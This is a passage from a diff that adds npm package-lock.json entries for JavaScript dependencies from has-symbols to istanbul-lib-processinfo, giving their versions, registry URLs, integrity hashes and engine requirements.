+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+ "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-value": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
+ "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==",
+ "dev": true,
+ "dependencies": {
+ "get-value": "^2.0.6",
+ "has-values": "^1.0.0",
+ "isobject": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/has-values": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
+ "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^3.0.0",
+ "kind-of": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/has-values/node_modules/kind-of": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
+ "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/hasha": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz",
+ "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==",
+ "dev": true,
+ "dependencies": {
+ "is-stream": "^2.0.0",
+ "type-fest": "^0.8.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/he": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+ "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
+ "dev": true,
+ "bin": {
+ "he": "bin/he"
+ }
+ },
+ "node_modules/homedir-polyfill": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
+ "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+ "dev": true,
+ "dependencies": {
+ "parse-passwd": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/hosted-git-info": {
+ "version": "2.8.9",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
+ "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
+ "dev": true
+ },
+ "node_modules/html-encoding-sniffer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz",
+ "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==",
+ "dev": true,
+ "dependencies": {
+ "whatwg-encoding": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/html-escaper": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
+ "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
+ "dev": true
+ },
+ "node_modules/html-minifier": {
+ "version": "3.5.21",
+ "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz",
+ "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==",
+ "dev": true,
+ "dependencies": {
+ "camel-case": "3.0.x",
+ "clean-css": "4.2.x",
+ "commander": "2.17.x",
+ "he": "1.2.x",
+ "param-case": "2.1.x",
+ "relateurl": "0.2.x",
+ "uglify-js": "3.4.x"
+ },
+ "bin": {
+ "html-minifier": "cli.js"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/html-minifier/node_modules/commander": {
+ "version": "2.17.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz",
+ "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==",
+ "dev": true
+ },
+ "node_modules/http-proxy-agent": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
+ "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
+ "dev": true,
+ "dependencies": {
+ "@tootallnate/once": "2",
+ "agent-base": "6",
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/https-proxy-agent": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+ "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+ "dev": true,
+ "dependencies": {
+ "agent-base": "6",
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/iconv-lite": {
+ "version": "0.6.3",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+ "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+ "dev": true,
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ignore": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
+ "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/import-fresh": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+ "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+ "dev": true,
+ "dependencies": {
+ "parent-module": "^1.0.0",
+ "resolve-from": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/imurmurhash": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+ "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8.19"
+ }
+ },
+ "node_modules/indent-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "dev": true,
+ "dependencies": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "dev": true
+ },
+ "node_modules/ini": {
+ "version": "1.3.8",
+ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+ "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
+ "dev": true
+ },
+ "node_modules/interpret": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz",
+ "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/invert-kv": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
+ "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ip-range-check": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/ip-range-check/-/ip-range-check-0.2.0.tgz",
+ "integrity": "sha512-oaM3l/3gHbLlt/tCWLvt0mj1qUaI+STuRFnUvARGCujK9vvU61+2JsDpmkMzR4VsJhuFXWWgeKKVnwwoFfzCqw==",
+ "dependencies": {
+ "ipaddr.js": "^1.0.1"
+ }
+ },
+ "node_modules/ip-range-check/node_modules/ipaddr.js": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+ "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/ipaddr.js": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz",
+ "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==",
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/is-absolute": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz",
+ "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==",
+ "dev": true,
+ "dependencies": {
+ "is-relative": "^1.0.0",
+ "is-windows": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-accessor-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+ "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-accessor-descriptor/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-arrayish": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+ "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
+ "dev": true
+ },
+ "node_modules/is-binary-path": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
+ "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-buffer": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
+ "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==",
+ "dev": true
+ },
+ "node_modules/is-core-module": {
+ "version": "2.12.1",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.1.tgz",
+ "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==",
+ "dev": true,
+ "dependencies": {
+ "has": "^1.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-data-descriptor": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+ "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-data-descriptor/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-descriptor": {
+ "version": "0.1.6",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^0.1.6",
+ "is-data-descriptor": "^0.1.4",
+ "kind-of": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-descriptor/node_modules/kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-extendable": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
+ "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dev": true,
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-negated-glob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-negated-glob/-/is-negated-glob-1.0.0.tgz",
+ "integrity": "sha512-czXVVn/QEmgvej1f50BZ648vUI+em0xqMq2Sn+QncCLN4zj1UAxlT+kw/6ggQTOaZPd1HqKQGEqbpQVtJucWug==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-number": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+ "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-number/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-path-cwd": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/is-path-inside": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-plain-obj": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz",
+ "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-plain-object": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
+ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
+ "dev": true,
+ "dependencies": {
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-potential-custom-element-name": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+ "dev": true
+ },
+ "node_modules/is-relative": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
+ "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
+ "dev": true,
+ "dependencies": {
+ "is-unc-path": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-stream": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+ "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-typedarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+ "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
+ "dev": true
+ },
+ "node_modules/is-unc-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
+ "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
+ "dev": true,
+ "dependencies": {
+ "unc-path-regex": "^0.1.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-unicode-supported": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
+ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-utf8": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
+ "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==",
+ "dev": true
+ },
+ "node_modules/is-valid-glob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz",
+ "integrity": "sha512-AhiROmoEFDSsjx8hW+5sGwgKVIORcXnrlAx/R0ZSeaPw70Vw0CqkGBBhHGL58Uox2eXnU1AnvXJl1XlyedO5bA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-windows": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
+ "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+ "dev": true
+ },
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+ "dev": true
+ },
+ "node_modules/isobject": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+ "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/istanbul-lib-coverage": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+ "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/istanbul-lib-hook": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz",
+ "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==",
+ "dev": true,
+ "dependencies": {
+ "append-transform": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/istanbul-lib-instrument": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
+ "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/core": "^7.7.5",
+ "@istanbuljs/schema": "^0.1.2",
+ "istanbul-lib-coverage": "^3.0.0",
+ "semver": "^6.3.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/istanbul-lib-processinfo": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.3.tgz",
+ "integrity": "sha512-NkwHbo3E00oybX6NGJi6ar0B29vxyvNwoC7eJ4G4Yq28UfY758Hgn/heV8VRFhevPED4LXfFz0DQ8z/0kw9zMg==",
+ "dev": true,
+ "dependencies": {
+ "archy": "^1.0.0",
+ "cross-spawn": "^7.0.3",
+ "istanbul-lib-coverage": "^3.2.0",
+ "p-map": "^3.0.0",
+ "rimraf": "^3.0.0",
+ "uuid": "^8.3.2"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
